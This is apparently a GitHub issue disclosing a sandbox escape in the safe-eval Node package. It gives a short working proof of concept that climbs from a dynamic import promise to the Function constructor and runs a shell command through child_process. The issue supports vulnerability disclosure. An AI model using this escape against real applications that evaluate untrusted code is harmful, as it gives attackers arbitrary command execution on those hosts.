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Sandbox Escape #27

@rectcoordsystem

Description

@rectcoordsystem

We found sandbox escape vulnerability in the latest version of safe-eval (node v18.12.1)

POC :

const safe_eval = require('safe-eval')
code = `
import('test').catch((e)=>{})['constructor']['constructor']('return process')().mainModule.require('child_process').execSync('touch rce')
`
safe_eval(code)

Our payload is inspired by CVE-2021-23449 in vm2

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